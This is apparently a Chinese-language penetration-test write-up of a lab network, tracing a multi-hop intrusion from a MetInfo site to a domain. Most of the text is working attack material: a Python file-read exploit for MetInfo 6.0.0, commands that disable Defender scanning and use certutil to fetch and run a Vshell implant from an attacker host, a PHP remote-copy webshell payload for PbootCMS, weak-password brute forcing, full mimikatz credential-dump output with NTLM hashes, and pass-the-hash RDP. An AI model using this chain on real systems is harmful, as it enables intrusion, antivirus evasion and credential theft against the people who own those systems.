****

外网信息收集

(base) ┌──(root㉿zss)-[/home/zss/桌面/Permeation]
└─# ./fscan -h 172.50.66.3    

  ______                   _____  _           
 |  ____|                 |  __ \| |          
 | |__ ___  ___ __ _ _ __ | |__) | |_   _ ___ 
 |  __/ __|/ __/ _  |  _ \|  ___/| | | | / __|
 | |  \__ \ (_| (_| | | | | |    | | |_| \__ \
 |_|  |___/\___\__,_|_| |_|_|    |_|\__,_|___/   
                     fscan version: 1.8.4 TeamdArk5 v1.0
start infoscan
172.50.66.3:80 open
172.50.66.3:139 open
172.50.66.3:135 open
172.50.66.3:3306 open
172.50.66.3:445 open
[*] alive ports len is: 5
start vulscan
[*] NetInfo 
[*]172.50.66.3
   [->]WIN-AJIGQ5JSPVF
   [->]172.50.66.3
   [->]10.20.50.3
[*] WebTitle http://172.50.66.3        code:200 len:32646  title:cslab-cslab
[+] InfoScan http://172.50.66.3        [MetInfo-米拓建站] 
[*] NetBios 172.50.66.3     WIN-AJIGQ5JSPVF      Windows Server 2016 Standard 14393

访问后台/admin,发现是MetInfo 6.0.0

搜索Nday,发现有一个任意文件读取漏洞

import requests
import sys

HEADERS = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0"}
PAYLOADS = [
    "..././http/..././config/config_db.php",
    ".....///http/.....///config/config_db.php",
    "http/.....///.....///config/config_db.php",
    r"http\..\..\config\config_db.php",
]

def exploit(host):
    url = f"{host.rstrip('/')}/include/thumb.php"
    
    for payload in PAYLOADS:
        try:
            resp = requests.get(url, params={"dir": payload}, headers=HEADERS, timeout=10)
            if "<?php" in resp.text:
                print(f"[+] Vulnerable!\n{resp.text}")
                return
        except Exception as e:
            print(f"[-] Error: {e}")
    
    print("[-] Not vulnerable")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print("Usage: python3 exploit.py http://target/metinfo")
        sys.exit(1)
    exploit(sys.argv[1])

得到数据库账号密码

(base) ┌──(root㉿zss)-[/home/zss/桌面]
└─# python3 exploit.py http://172.50.66.3/
[+] Vulnerable!
<?php
                   /*
                   con_db_host = "localhost"
                   con_db_port = "3306"
                   con_db_id   = "metinfo"
                   con_db_pass  = "admin@cslab"
                   con_db_name = "metinfo"
                   tablepre    =  "met_"
                   db_charset  =  "utf8";
                  */
                  ?>

连接数据库

mysql -h 172.50.66.3 -P 3306 -u metinfo -p'admin@cslab' metinfo --skip-ssl

翻一下凭据

MySQL [metinfo]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| metinfo            |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
5 rows in set (0.038 sec)

MySQL [metinfo]> use metinfo;
Database changed
MySQL [metinfo]> show tables;
+----------------------+
| Tables_in_metinfo    |
+----------------------+
| met_admin_array      |
| met_admin_column     |
| met_admin_table      |
| met_app              |
| met_app_plugin       |
| met_applist          |
| met_column           |
| met_config           |
| met_cv               |
| met_download         |
| met_feedback         |
| met_flash            |
| met_flist            |
| met_ifcolumn         |
| met_ifcolumn_addfile |
| met_ifmember_left    |
| met_img              |
| met_infoprompt       |
| met_job              |
| met_label            |
| met_lang             |
| met_language         |
| met_link             |
| met_list             |
| met_message          |
| met_mlist            |
| met_news             |
| met_online           |
| met_otherinfo        |
| met_parameter        |
| met_password         |
| met_plist            |
| met_product          |
| met_skin_table       |
| met_sms              |
| met_templates        |
| met_ui_config        |
| met_ui_list          |
| met_user             |
| met_user_group       |
| met_user_list        |
| met_user_other       |
+----------------------+
42 rows in set (0.039 sec)

MySQL [metinfo]> select * from met_password;
+-----------+
| password  |
+-----------+
| cs1ab@wwq |
+-----------+
1 row in set (0.038 sec)

​met_password表找到一个密码。

nxc smb 172.50.66.3 -u administrator -p 'cs1ab@wwq' -x "whoami"

Getshell & 上线Vshell & 搭建第一层代理

impacket-wmiexec administrator:'cs1ab@wwq'@172.50.66.3 -codec gbk

发现有Defender,直接给C盘加入白名单,直接上线Vshell

powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
certutil.exe -urlcache -split -f http://172.16.233.2:23456/swt C:\Users\Public\run.bat && C:\Users\Public\run.bat

内网信息收集

上传fscan扫描

C:\Users\Public>fscan.exe -h 10.20.50.3/24

  ______                   _____  _
 |  ____|                 |  __ \| |
 | |__ ___  ___ __ _ _ __ | |__) | |_   _ ___
 |  __/ __|/ __/ _  |  _ \|  ___/| | | | / __|
 | |  \__ \ (_| (_| | | | | |    | | |_| \__ \
 |_|  |___/\___\__,_|_| |_|_|    |_|\__,_|___/
                     fscan version: 1.8.4 TeamdArk5 v1.0
start infoscan
(icmp) Target 10.20.50.3      is alive
(icmp) Target 10.20.50.8      is alive
(icmp) Target 10.20.50.9      is alive
[*] Icmp alive hosts len is: 3
10.20.50.3:139 open
10.20.50.9:135 open
10.20.50.9:3306 open
10.20.50.3:3306 open
10.20.50.9:445 open
10.20.50.8:445 open
10.20.50.3:445 open
10.20.50.9:139 open
10.20.50.8:139 open
10.20.50.8:135 open
10.20.50.3:135 open
10.20.50.3:80 open
[*] alive ports len is: 12
start vulscan
[*] NetInfo
[*]10.20.50.3
   [->]WIN-AJIGQ5JSPVF
   [->]172.50.66.3
   [->]10.20.50.3
[*] WebTitle http://10.20.50.3         code:200 len:32571  title:cslab-cslab
[+] InfoScan http://10.20.50.3         [MetInfo-米拓建站] 
[*] NetInfo
[*]10.20.50.9
   [->]WIN-AJIGQ5JSPVF
   [->]10.20.50.9
[*] NetInfo
[*]10.20.50.8
   [->]WIN-AJIGQ5JSPVF
   [->]10.20.50.8
   [->]10.6.8.50
[*] NetBios 10.20.50.9      WIN-AJIGQ5JSPVF      Windows Server 2016 Standard 14393
[*] NetBios 10.20.50.8      WIN-AJIGQ5JSPVF      Windows Server 2016 Standard 14393
[+] mysql 10.20.50.9:3306:root admin123
[*] NetBios 10.20.50.3      WIN-AJIGQ5JSPVF      Windows Server 2016 Standard 14393
已完成 12/12
[*] 扫描结束,耗时: 15.0722639s

Mysql 弱口令

发现10.20.50.9开放了3306端口,账号root,密码admin123,连接上去

proxychains -q mysql -h 10.20.50.9 -u root -p'admin123' --skip-ssl
MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
4 rows in set (0.065 sec)

MySQL [(none)]> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [mysql]> show tables;
+---------------------------+
| Tables_in_mysql           |
+---------------------------+
| columns_priv              |
| db                        |
| engine_cost               |
| event                     |
| flag                      |
| func                      |
| general_log               |
| gtid_executed             |
| help_category             |
| help_keyword              |
| help_relation             |
| help_topic                |
| innodb_index_stats        |
| innodb_table_stats        |
| ndb_binlog_index          |
| pc                        |
| plugin                    |
| proc                      |
| procs_priv                |
| proxies_priv              |
| server_cost               |
| servers                   |
| slave_master_info         |
| slave_relay_log_info      |
| slave_worker_info         |
| slow_log                  |
| tables_priv               |
| time_zone                 |
| time_zone_leap_second     |
| time_zone_name            |
| time_zone_transition      |
| time_zone_transition_type |
| user                      |
+---------------------------+
33 rows in set (0.037 sec)

MySQL [mysql]> select * from flag;
+----+-----------------------------------------------+
| id | flag_value                                    |
+----+-----------------------------------------------+
|  1 | go-flag{55c38760-2134-4864-8710-e453f430b18d} |
+----+-----------------------------------------------+
1 row in set (0.037 sec)

探测是否有开放了3389端口

C:\Users\Public>fscan.exe -h 10.20.50.3/24 -p 3389

  ______                   _____  _
 |  ____|                 |  __ \| |
 | |__ ___  ___ __ _ _ __ | |__) | |_   _ ___
 |  __/ __|/ __/ _  |  _ \|  ___/| | | | / __|
 | |  \__ \ (_| (_| | | | | |    | | |_| \__ \
 |_|  |___/\___\__,_|_| |_|_|    |_|\__,_|___/
                     fscan version: 1.8.4 TeamdArk5 v1.0
start infoscan
(icmp) Target 10.20.50.3      is alive
(icmp) Target 10.20.50.8      is alive
(icmp) Target 10.20.50.9      is alive
[*] Icmp alive hosts len is: 3
10.20.50.3:3389 open
10.20.50.8:3389 open
[*] alive ports len is: 2

RDP 弱口令

发现10.20.50.8开放了3389,枚举一下弱口令

C:\Users\Public>fscan.exe -h 10.20.50.8 -p 3389 -pwdf pass.txt -user administrator

  ______                   _____  _
 |  ____|                 |  __ \| |
 | |__ ___  ___ __ _ _ __ | |__) | |_   _ ___
 |  __/ __|/ __/ _  |  _ \|  ___/| | | | / __|
 | |  \__ \ (_| (_| | | | | |    | | |_| \__ \
 |_|  |___/\___\__,_|_| |_|_|    |_|\__,_|___/
                     fscan version: 1.8.4 TeamdArk5 v1.0
start infoscan
[*] alive ports len is: 1
start vulscan
10.20.50.8:3389 open
[+] RDP 10.20.50.8:3389:administrator qwe!@#123

得到弱口令qwe!@#123,配置/etc/proxychains4.conf

proxychains -q impacket-wmiexec ./administrator:'qwe!@#123'@10.20.50.8 -codec gbk

上线Vshell & 搭建第二层代理

上传Vshell正向客户端到外网机器WEB根目录下

发现有Defender,直接给C盘加入白名单,直接上线Vshell

powershell -Command "Add-MpPreference -ExclusionPath 'C:\'"
certutil.exe -urlcache -split -f http://10.20.50.3:80/cslab8044.exe C:\Users\Public\cslab8044.exe
cslab8044.exe

内网信息收集

上传fscan信息收集

C:\Users\Public>fscan.exe -h 10.6.8.50/24

  ______                   _____  _
 |  ____|                 |  __ \| |
 | |__ ___  ___ __ _ _ __ | |__) | |_   _ ___
 |  __/ __|/ __/ _  |  _ \|  ___/| | | | / __|
 | |  \__ \ (_| (_| | | | | |    | | |_| \__ \
 |_|  |___/\___\__,_|_| |_|_|    |_|\__,_|___/
                     fscan version: 1.8.4 TeamdArk5 v1.0
start infoscan
(icmp) Target 10.6.8.50       is alive
(icmp) Target 10.6.8.66       is alive
(icmp) Target 10.6.8.99       is alive
[*] Icmp alive hosts len is: 3
10.6.8.99:135 open
10.6.8.66:135 open
10.6.8.50:135 open
10.6.8.66:80 open
10.6.8.99:22 open
10.6.8.50:8044 open
10.6.8.99:88 open
10.6.8.66:3306 open
10.6.8.99:445 open
10.6.8.66:445 open
10.6.8.50:445 open
10.6.8.99:139 open
10.6.8.66:139 open
10.6.8.50:139 open
[*] alive ports len is: 14
start vulscan
[*] NetInfo
[*]10.6.8.50
   [->]WIN-AJIGQ5JSPVF
   [->]10.20.50.8
   [->]10.6.8.50
[*] NetInfo
[*]10.6.8.99
   [->]DC
   [->]10.6.8.99
[*] NetInfo
[*]10.6.8.66
   [->]cslab
   [->]10.6.8.66
[*] OsInfo 10.6.8.66    (Windows Server 2016 Standard 14393)
[*] NetBios 10.6.8.99       DC                   Windows Server 2022 Standard 20348
[*] NetBios 10.6.8.66       cslab.cyberstrike.lab               Windows Server 2016 Standard 14393
[*] WebTitle http://10.6.8.66          code:200 len:19777  title:PbootCMS-永久开源免费的PHP企业网站开发建设管理系统
[*] NetBios 10.6.8.50       WIN-AJIGQ5JSPVF      Windows Server 2016 Standard 14393
[+] PocScan http://10.6.8.66 poc-yaml-pbootcms-database-file-download 
已完成 14/14
[*] 扫描结束,耗时: 24.4931627s

PbootCMS Nday RCE

访问后台

弱口令admin:cslab进入后台

发现版本为PbootCMS V3.1.2-20211028,找一下Nday

基础内容-站点信息

在尾部信息和统计代码中插入php代码

<?php
$test="copy";
$test("http://10.6.8.50:8080/1.txt","test.php");
?>

在10.6.8.50上面开http服务,放1.txt

powershell -c "$listener = New-Object System.Net.HttpListener; $listener.Prefixes.Add('http://+:8080/'); $listener.Start(); while($true){$context = $listener.GetContext(); $response = $context.Response; $content = [System.IO.File]::ReadAllBytes($context.Request.Url.LocalPath.TrimStart('/')); $response.OutputStream.Write($content, 0, $content.Length); $response.Close()}"

然后来到全局配置-配置参数

打开动态缓存(如果本就打开 那则不需要打开) 点击右上角的清除缓存

然后随便点击任意文章,触发漏洞

把2000和2001用gost绑定起来

./gost -L=socks5://:1080 -F=socks5://172.16.233.2:2000 -F=socks5://172.16.233.2:2001

蚁剑走127.0.0.1:1080

没有杀软

上线Vshell

继续正向上线Vshell

内网信息收集

上传Eyeworm收集信息

https://github.com/imsellbaox/EyeWorm

==== DefultFilesWorm 文件扫描结果如下:====
==== DefultFilesWorm内容扫描结果如下:====
==== XshellFileWorm 文件扫描结果如下:====
==== XshellFileWorm内容扫描结果如下:====
====CommandWorm 扫描结果如下:====
==== CommandWorm 扫描结果如下:====
=======================第1条命令结果============================

Windows IP 配置


以太网适配器 以太网实例 1:

   连接特定的 DNS 后缀 . . . . . . . : 
   本地链接 IPv6 地址. . . . . . . . : fe80::9bf:ab5e:dd70:298d%5
   IPv4 地址 . . . . . . . . . . . . : 10.6.8.66
   子网掩码  . . . . . . . . . . . . : 255.255.255.0
   默认网关. . . . . . . . . . . . . : 10.6.8.1

隧道适配器 Reusable ISATAP Interface {CE49AC4C-7613-4736-841F-35EBA0ABAA8D}:

   媒体状态  . . . . . . . . . . . . : 媒体已断开连接
   连接特定的 DNS 后缀 . . . . . . . : 

=======================第2条命令结果============================

Name			Size		IsDirectory  		Last Modification

AccountPictures 0              true         2025-07-11 12:46:09.8087589 +0800 CST
cslab8044.exe   4134912        false        2026-01-03 09:24:46.4669933 +0800 CST
Desktop         0              true         2025-10-14 06:23:22.1669073 +0800 CST
desktop.ini     174            false        2016-07-16 21:21:29.7899012 +0800 CST
Documents       0              true         2025-07-11 11:25:19.4118441 +0800 CST
Downloads       0              true         2016-07-16 21:23:24.6330563 +0800 CST
Eyeworm.exe     13909504       false        2026-01-03 09:31:57.4786761 +0800 CST
Libraries       0              true         2016-07-16 21:23:24.6330563 +0800 CST
Music           0              true         2016-07-16 21:23:24.6330563 +0800 CST
Pictures        0              true         2016-07-16 21:23:24.6330563 +0800 CST
Videos          0              true         2016-07-16 21:23:24.6330563 +0800 CST
==== CommandWorm2 扫描结果如下:====
=======================第1条命令结果============================
=C:=C:\Users\Public
=D:=D:\
=E:=E:\
=ExitCode=00000002
=F:=F:\
=G:=G:\
=H:=H:\
=I:=I:\
=J:=J:\
=K:=K:\
=L:=L:\
=M:=M:\
=N:=N:\
=O:=O:\
=P:=P:\
=Q:=Q:\
=R:=R:\
=S:=S:\
=T:=T:\
=U:=U:\
=V:=V:\
=W:=W:\
=X:=X:\
=Y:=Y:\
=Z:=Z:\
PATH=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files (x86)\NetSarang\Xshell 8\;C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps;C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;
PROMPT=$P$G
SYSTEMROOT=C:\Windows
COMSPEC=C:\Windows\system32\cmd.exe
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
WINDIR=C:\Windows
PHPRC=C:/phpstudy_pro/Extensions/php/php5.4.45nts
_FCGI_SHUTDOWN_EVENT_=8788
=C:=C:\Users\Public
=D:=D:\
=E:=E:\
=F:=F:\
=G:=G:\
=H:=H:\
=I:=I:\
=J:=J:\
=K:=K:\
=L:=L:\
=M:=M:\
=N:=N:\
=O:=O:\
=P:=P:\
=Q:=Q:\
=R:=R:\
=S:=S:\
=T:=T:\
=U:=U:\
=V:=V:\
=W:=W:\
=X:=X:\
=Y:=Y:\
=Z:=Z:\
PATH=C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Program Files (x86)\NetSarang\Xshell 8\;C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps;C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;
PROMPT=$P$G
SYSTEMROOT=C:\Windows
COMSPEC=C:\Windows\system32\cmd.exe
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
WINDIR=C:\Windows
PHPRC=C:/phpstudy_pro/Extensions/php/php5.4.45nts
_FCGI_SHUTDOWN_EVENT_=8788
TERM=xterm
HISTFILE=/tmp/.del

====ProcessWorm 文件扫描结果如下:====
====ProcessWorm 内容扫描结果如下:====
====ProcessWorm 文件扫描结果如下:====
====ProcessWorm 内容扫描结果如下:====
==========RegistryWorm 项名称匹配结果=========
HKEY_CURRENT_USER\EUDC\932
HKEY_CURRENT_USER\EUDC\936
HKEY_CURRENT_USER\EUDC\949
HKEY_CURRENT_USER\EUDC\950
============RegistryWorm 值名称匹配结果================
项路径:HKEY_CURRENT_USER\Environment 		 值名称:Path 		 数据测试:%USERPROFILE%\AppData\Local\Microsoft\WindowsApps;

项路径:HKEY_CURRENT_USER\Environment 		 值名称:TEMP 		 数据测试:%USERPROFILE%\AppData\Local\Temp

项路径:HKEY_CURRENT_USER\Environment 		 值名称:TMP 		 数据测试:%USERPROFILE%\AppData\Local\Temp

项路径:HKEY_CURRENT_USER\EUDC\932 		 值名称:SystemDefaultEUDCFont 		 数据:EUDC.TTE

项路径:HKEY_CURRENT_USER\EUDC\936 		 值名称:SystemDefaultEUDCFont 		 数据:EUDC.TTE

项路径:HKEY_CURRENT_USER\EUDC\949 		 值名称:SystemDefaultEUDCFont 		 数据:EUDC.TTE

项路径:HKEY_CURRENT_USER\EUDC\950 		 值名称:SystemDefaultEUDCFont 		 数据:EUDC.TTE

====RecentWorm 文件扫描结果如下:====
====RecentWorm 内容扫描结果如下:====
====ApiWorm 扫描结果如下:====

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # version

mimikatz 2.2.0 (arch x64)
Windows NT 10.0 build 14393 (arch x64)
msvc 150030729 207

mimikatz(commandline) # log
Using 'mimikatz.log' for logfile : OK

mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # sekurlsa::logonpasswords

Authentication Id : 0 ; 191928 (00000000:0002edb8)
Session           : Interactive from 1
User Name         : Administrator
Domain            : CSLAB
Logon Server      : CSLAB
Logon Time        : 2026/1/3 5:23:36
SID               : S-1-5-21-1569229255-3439354803-3019667840-500
    msv :	
     [00000003] Primary
     * Username : Administrator
     * Domain   : CSLAB
     * NTLM     : 5da9474778d66c037970d0bac4de6438
     * SHA1     : 556ecd80b7bd1c708392d9248cb0009b22ac243b
    tspkg :	
    wdigest :	
     * Username : Administrator
     * Domain   : CSLAB
     * Password : (null)
    kerberos :	
     * Username : Administrator
     * Domain   : CSLAB
     * Password : (null)
    ssp :	
    credman :	

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : CSLAB$
Domain            : CYBERSTRIKE
Logon Server      : (null)
Logon Time        : 2026/1/3 5:22:57
SID               : S-1-5-20
    msv :	
     [00000003] Primary
     * Username : CSLAB$
     * Domain   : CYBERSTRIKE
     * NTLM     : 2225ee79fdc6b36ba1e4dbca284798aa
     * SHA1     : 82c95c94715d344f70596eae3ef0e576c2c463ee
    tspkg :	
    wdigest :	
     * Username : CSLAB$
     * Domain   : CYBERSTRIKE
     * Password : (null)
    kerberos :	
     * Username : cslab$
     * Domain   : CYBERSTRIKE.LAB
     * Password : (null)
    ssp :	
    credman :	

Authentication Id : 0 ; 23304 (00000000:00005b08)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 2026/1/3 5:22:56
SID               : 
    msv :	
     [00000003] Primary
     * Username : CSLAB$
     * Domain   : CYBERSTRIKE
     * NTLM     : 2225ee79fdc6b36ba1e4dbca284798aa
     * SHA1     : 82c95c94715d344f70596eae3ef0e576c2c463ee
    tspkg :	
    wdigest :	
    kerberos :	
    ssp :	
    credman :	

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 2026/1/3 5:22:59
SID               : S-1-5-19
    msv :	
    tspkg :	
    wdigest :	
     * Username : (null)
     * Domain   : (null)
     * Password : (null)
    kerberos :	
     * Username : (null)
     * Domain   : (null)
     * Password : (null)
    ssp :	
    credman :	

Authentication Id : 0 ; 51206 (00000000:0000c806)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2026/1/3 5:22:58
SID               : S-1-5-90-0-1
    msv :	
     [00000003] Primary
     * Username : CSLAB$
     * Domain   : CYBERSTRIKE
     * NTLM     : 2225ee79fdc6b36ba1e4dbca284798aa
     * SHA1     : 82c95c94715d344f70596eae3ef0e576c2c463ee
    tspkg :	
    wdigest :	
     * Username : CSLAB$
     * Domain   : CYBERSTRIKE
     * Password : (null)
    kerberos :	
     * Username : CSLAB$
     * Domain   : cyberstrike.lab
     * Password : 71 69 91 e9 36 9e e4 1e 26 f2 72 2c 24 b8 f3 f9 9d 4c 72 5f 9f d3 74 27 22 43 a5 f6 22 ca 5f 15 6e e8 81 bf 49 24 be 31 99 eb ac 1b d7 fd 30 f1 7b 52 76 dc 04 54 59 7f 98 69 77 d3 ca 9c f1 f5 58 a5 3c 60 8a e9 6f d2 11 f7 a6 ad 74 ea 23 2c 7d e3 55 8d d6 66 1a 6c 8e 0c 2c 82 a1 c7 22 b8 8c 45 dd 7d e0 d2 db 9e a4 0b 48 17 8f 1d 58 80 fb 18 5e 58 2e 23 c5 d6 ff dc 93 a6 e2 3f f4 0c 95 8d 49 52 6b 31 aa 3e 4d 72 96 88 c5 3f 37 08 13 f7 db b3 81 6a 80 00 bf 4d 5b 4d d9 63 86 46 b0 84 a4 be 50 ae 0d 03 56 e6 a4 96 2e 88 5b ad 5c 8f aa 9c b7 ed bf 3f 54 e2 43 7a e2 f4 b4 a0 fe 82 d3 b9 30 61 de 37 5f 44 70 5a 43 ff 6f 6f 56 f5 5d a5 21 b9 fe 86 a6 1c 44 34 09 85 79 b7 ed a9 d5 50 c0 bf 16 65 5e 53 61 6e 06 8b 01 8f 
    ssp :	
    credman :	

Authentication Id : 0 ; 51187 (00000000:0000c7f3)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 2026/1/3 5:22:58
SID               : S-1-5-90-0-1
    msv :	
     [00000003] Primary
     * Username : CSLAB$
     * Domain   : CYBERSTRIKE
     * NTLM     : 2225ee79fdc6b36ba1e4dbca284798aa
     * SHA1     : 82c95c94715d344f70596eae3ef0e576c2c463ee
    tspkg :	
    wdigest :	
     * Username : CSLAB$
     * Domain   : CYBERSTRIKE
     * Password : (null)
    kerberos :	
     * Username : CSLAB$
     * Domain   : cyberstrike.lab
     * Password : 71 69 91 e9 36 9e e4 1e 26 f2 72 2c 24 b8 f3 f9 9d 4c 72 5f 9f d3 74 27 22 43 a5 f6 22 ca 5f 15 6e e8 81 bf 49 24 be 31 99 eb ac 1b d7 fd 30 f1 7b 52 76 dc 04 54 59 7f 98 69 77 d3 ca 9c f1 f5 58 a5 3c 60 8a e9 6f d2 11 f7 a6 ad 74 ea 23 2c 7d e3 55 8d d6 66 1a 6c 8e 0c 2c 82 a1 c7 22 b8 8c 45 dd 7d e0 d2 db 9e a4 0b 48 17 8f 1d 58 80 fb 18 5e 58 2e 23 c5 d6 ff dc 93 a6 e2 3f f4 0c 95 8d 49 52 6b 31 aa 3e 4d 72 96 88 c5 3f 37 08 13 f7 db b3 81 6a 80 00 bf 4d 5b 4d d9 63 86 46 b0 84 a4 be 50 ae 0d 03 56 e6 a4 96 2e 88 5b ad 5c 8f aa 9c b7 ed bf 3f 54 e2 43 7a e2 f4 b4 a0 fe 82 d3 b9 30 61 de 37 5f 44 70 5a 43 ff 6f 6f 56 f5 5d a5 21 b9 fe 86 a6 1c 44 34 09 85 79 b7 ed a9 d5 50 c0 bf 16 65 5e 53 61 6e 06 8b 01 8f 
    ssp :	
    credman :	

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : CSLAB$
Domain            : CYBERSTRIKE
Logon Server      : (null)
Logon Time        : 2026/1/3 5:22:56
SID               : S-1-5-18
    msv :	
    tspkg :	
    wdigest :	
     * Username : CSLAB$
     * Domain   : CYBERSTRIKE
     * Password : (null)
    kerberos :	
     * Username : cslab$
     * Domain   : CYBERSTRIKE.LAB
     * Password : (null)
    ssp :	
    credman :	

mimikatz(commandline) # exit
Bye!

发现有Xshell,也有Administrator用户的hash,能查到明文,但是没必要查

给10.6.8.66开启3389,RDP上去看看Xshell

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f
proxychains -q xfreerdp3 /v:10.6.8.66 /u:Administrator /d:CSLAB /pth:5da9474778d66c037970d0bac4de6438 /cert:ignore

Xshell免密连接

‍

****